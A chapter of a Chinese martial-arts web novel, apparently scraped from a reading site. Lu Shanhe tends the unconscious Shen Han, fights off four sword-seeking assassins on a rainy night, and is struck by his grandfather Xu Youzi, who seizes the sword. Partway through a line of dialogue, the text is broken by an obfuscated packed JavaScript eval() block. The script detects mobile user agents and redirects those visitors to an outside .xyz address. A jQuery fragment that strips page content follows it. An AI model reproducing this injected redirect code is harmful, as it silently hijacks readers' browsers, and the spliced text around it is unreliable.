正好这时,那云裳阁也已将衣服和白绫送了过来。只听得门外客栈掌柜的敲门声传来。陆山河赶紧扯着嗓子向外大喊。 “不要进来啊!放在门口便是!”陆山河紧张地道。 “明白!小的明白!这一颗合欢香,小的也给您放在托盘当中了。”客栈掌柜嗤笑着离开。 “这误会可大了”,陆山河无奈地说到,随后从床上蹦起来,快速开门将东西全部拿了进去。陆山河先用白绫为沈寒包扎好伤口,之后又为自己简单包扎了一下。 陆山河将衣服全部换了之后,看着躺在床上的沈寒有些犯难。这上身好说,下身可怎么办?陆山河忽地红了脸,坐在凳子上远远看向沈寒。“没办法了”,陆山河嘟囔着起身,走到了床边,随后将被子展开盖到了沈寒身上。陆山河将手伸进被子当中,在沈寒的身子上摸索着下衣的系带。一番折腾,陆山河终于给沈寒换好了下身衣服,可是因为看不见,陆山河把该摸的和不该摸的都无意间摸了个遍。 “还不如直接看着给他换了”,陆山河涨红着脸,靠着床坐在地上自言自语道。 总算收拾妥当,陆山河抱着沈寒下了一楼。只见那妖艳女子盖着一大块鹅绒毯子坐在摇椅上,那客栈掌柜蹲在一旁和那女子窃窃私语,二人正在讨论楼上的陆山河和沈寒,不时传来一阵笑声。陆山河干咳了一声,走到二人身旁,冷眼看着二人。客栈掌柜和那女子立时站了起来,满脸严肃。那块鹅绒毯子也滑落在地上。 车内,昏迷的沈寒躺在柔软的鹅绒毯子上,身上盖着提花丝织的云锦被子,一身洁白、干净而柔软的绡织内衬穿在身上,一套崭新的水绿色绫罗外衣叠放整齐的放在沈寒身旁。 陆山河侧躺在沈寒身边,一只胳膊撑着脑袋,另一只手拿着一颗苹果正往嘴里送去。陆山河穿着一套与沈寒完全一样的绡织内衬,外装则是一套素采色的束袖外衣,衣领微微张开,隐约露出陆山河棱线清晰的一对锁骨来。陆山河看着昏迷的沈寒,嘴里除了大口地吃着苹果,还一直嘟囔着。 “你这个糯米团子,真是麻烦呀!把你丢那儿吧,怕那酒楼掌柜的不管你死活;带着你吧,小爷我平添累赘;唉……思来想去吧,咱俩也算有缘,现在带你去找凡谷子那怪老头,到时候你这诊费得加倍还我。哦对了,还有这个内衬呢,是二两三钱银子;这外装嘛,五两六钱,再加上小爷我替你清理伤口,里里外外换衣服的工费,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991028|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就……嗯,付个一百两吧!”陆山河说着撩开帘子,将果核丢向了车外,继续说到,“要是没钱呢,就用你那刀来偿还吧。” 陆山河说着平躺了下来,然后笑了起来。笑声停下之后,陆山河又翻起身来看着身边的沈寒,说到:“算了吧,看你把刀看得比命还重要的份上,以身相许也不是不行。”陆山河说着又笑了起来,然后又平躺了下去,与沈寒肩并肩躺在车上,“小爷说的以身相许可是做奴仆啊,哎呀,我得好好想想怎么使唤你……” 天色渐晚,各家各户开始掌灯,星星点点的微光,透过窗户上的宣纸,穿透细雨雨帘,倔强地向空荡荡的街道上洒来。被雨水浸润了许久的青石板路面,冷清而光洁,反射着橙黄色的点点微光。再过半个时辰,城门便要关闭。陆山河从车篷的窗户探出头去观望,见马车距离城门已经不远,便放心地放下了小窗户的帘子。此时,车夫的声音从车篷外传了进来。 “少侠,城门开始关闭了!”车夫喊到。 陆山河起身,掀开车篷的帘子,蹲坐在车夫身边,看着眼前不远处的城门,只见城门正缓缓地关闭。 木质车轮与青石板相互碰撞和马蹄踩踏石板的声音,在冷寂的街道上留下接连不断的“咕噜咕噜”的声响。突然这声音戛然而止,取而代之的是一声马被瞬间拉住的嘶叫声。马车完全停了下来,只有细碎而不安的马蹄踩踏青石板的声音,不时响起几声。随着两声快刀出鞘的声音,连这马蹄踩踏青石板的声音也完全消失了。 只见两匹马的马首被两把长刀一左一右齐齐砍下,马首落在地面,鲜血瞬间洒了一地,将地面染红,而那两匹马的身子还直直地站在那里,过了一会儿才轰然倒下。随着马的身子倒下,马车的车辕猛地杵在了地面上。沈寒的身子也随着往下滑去。陆山河一把将沈寒抱住,翻身跳下马车。四名手持长刀的黑衣人此时已将马车围住。那跌落在地的车夫,已经被吓得面如土色,抖如筛糠,一股暖流顺着裤子流到了地面。 还在下着小雨,陆山河见怀中的沈寒被雨打湿,于是用脚猛踹马身,马身在地上旋转半周被陆山河用脚止住。随后,陆山河用脚将车辕抬起,搭在了马的身子上,车辆堪堪放平。陆山河不慌不忙地将沈寒又放回到了车篷当中。 “还不快滚!”一名黑衣人对着车夫说到。 车夫听罢,连滚带爬地跑了。 “将刀交出来,饶你们一命”,又一个黑衣人说到。 “嗨!我当什么事呢,不就是要刀吗?等着”,陆山河跳进车篷。很快陆山河手中拿着那把杜可儿丢下的残月弯刀,从车篷又跳了出来。这刀正是陆山河带着沈寒离开之前取下的。 “不是这把”一名黑衣人道。 “哎呀!真麻烦,你也不说清楚”,陆山河抱怨着又回到了车上。等他再出来的时候,陆山河双手持刀,站在了马车前边。 “很好,将刀交给我吧”一名黑衣人说到。 “好呀”,陆山河说着将残月弯刀投向了刚刚讲话的黑衣人,并同时手持“孤还”向另一名黑衣人击去。 见那弯刀正向自己面门袭来,那名黑衣人举刀格挡。两把钢刀碰击在一起,火花四溅。那黑衣人挡下弯刀的同时,那弯刀并没有被击挡回去,而是以黑衣人手中的钢刀为轴心,刀身旋转了起来,刀刃直割向黑衣人的咽喉。黑衣人侧身向下,躲过弯刀的攻击,手持长刀的胳膊向外一甩,弯刀便又旋转着向陆山河飞去了。 陆山河正与另外一名黑衣人缠斗。 陆山河刀势凌厉,逼的那名黑衣人一直后退。听闻弯刀回旋到自己身边,陆山河翻身跃起,将残月弯刀又抓到了手中。与此同时,另外三名黑衣人也近得陆山河身边,瞬间形成了以一敌四的局面。 微雨如丝,细密地洒落在城中。雨滴静悄悄地落在几人手中持握的刀身上,试图吞没刀身在雨夜中泛出的点点寒光。 四名黑衣人同时向陆山河攻去,只见四把长刀同时挥动,一上一下,一左一右,将陆山河的所有退路全部隔绝。陆山河见这密不透风的攻击向自己袭来,双刀一上一下平握在手中,使尽浑身解数用脚踩向地面,腰身扭转,整个人旋转着飞了起来。 陆山河手中平握的两把刀,在陆山河飞速旋转的身体周围瞬间组成一道雪白的屏障,将陆山河笼罩起来。只听得一阵密集的金石交锋的声音,无数火花围着陆山河向外乱溅,四处纷飞。陆山河突破了封锁,于空中翻身又落回到马车旁边。 由于陆山河有伤在身,刚刚这拼尽全力的一招,让陆山河的伤口又崩裂开来。鲜血透过包扎的白绫,打湿了内衬,渗到了外衣上边。陆山河忍着疼痛,又一次举刀摆出迎敌的架势来。 “我等奉命取刀,不想伤你性命,把刀交出来便放你离去。”一名黑衣人看着已近力竭的陆山河道。 “糯米团子的刀,我可做不了主。”陆山河冷笑着回答到。 “既然不是你的刀,何必豁出性命!”一名黑衣人道。 “糯米团子把这刀看得比命还重要,总不能交给你们这些宵小之徒”,陆山河说着将握在手中的刀柄握得更紧了一些。 “那便没有办法了” 说话的黑衣人话音刚落,四名黑衣人便又举刀齐齐向陆山河攻击过来。这一次攻击,四人身法诡异,四把刀似乎没有特定的攻击方向,陆山河一时不知要如何招架。正当那四把刀砍向陆山河之时,四枚钢钉穿风破雨,带着尖啸声从陆山河的身后疾速飞过,向四名黑衣人的头部直直袭去。 四名黑衣人发现了向自己扑面而来的暗器,纷纷停下攻击,举刀格挡。只听得四声急促的金属断裂之声,四柄长刀被那钢钉纷纷击断。钢钉击断长刀,力道只是稍微减弱,随着四声沉闷的声音,四枚钢钉齐齐钉入了四名黑衣人的额头。四名黑衣人应声倒下,失去了生机。 一丝惊恐从陆山河的脸上闪过,随后陆山河收起抵挡的架势,转身向后看去。一个浑浊而嘶哑的老声从空中传来。 “乖孙,爷爷可又救了你一次。” 话音刚刚落下,一个佝偻着背,瘦骨嶙峋的老头从房顶一跃而下,落在了马车的车篷顶上。只见那老头,手中握着一杆古木制成的齐身高的拐杖,头发灰白而稀疏,像是冬日里残败的枯草一般;一道道皱纹在他的额头、眼角和嘴角上纵横交错;皮肤犹如老旧的纸张,布满了密密麻麻的斑点,粗糙不堪;颧骨高高凸起,两颊深陷下去,一个高挺的鹰钩鼻下,干裂的嘴唇毫无血色;深陷的眼窝里,一双眼睛却犹如黄鼠狼一般闪着幽绿的灵光。 陆山河看着站在车篷上的虚游子,跪了下去。 “爷爷,让您费心了”,陆山河轻声道。 “哼,在外边玩得好不快活呀!”虚游子略带嘲讽地道。 “孙儿……知错了”,陆山河欲言又止。 “怎么?不高兴了?”虚游子严肃地问到。 “孙儿不敢”,陆山河连忙道。 “嗯,那便好”,虚游子说到,“手中那把刀可是‘孤还’?” “正是”,陆山河沉默了一阵才缓缓回答到。 “很好,乖孙儿,把刀给爷爷吧”,虚游子说着翻身跳下了马车,站到了陆山河身边,伸出手去。 “爷爷,孙儿甚是喜爱此刀,可否将此刀……”陆山河话还没有说完,便结结实实挨了虚游子反手一巴掌。 “你也配?”虚游子说着将刀夺了过去。 陆山河脸上被打得发红,鼻息变得有些急促。 “许你在外游玩半个月再回山里”,虚游子说完便拿着刀一跃而起,消失在茫茫雨夜当中。陆山河缓缓起身,看向车内的沈寒。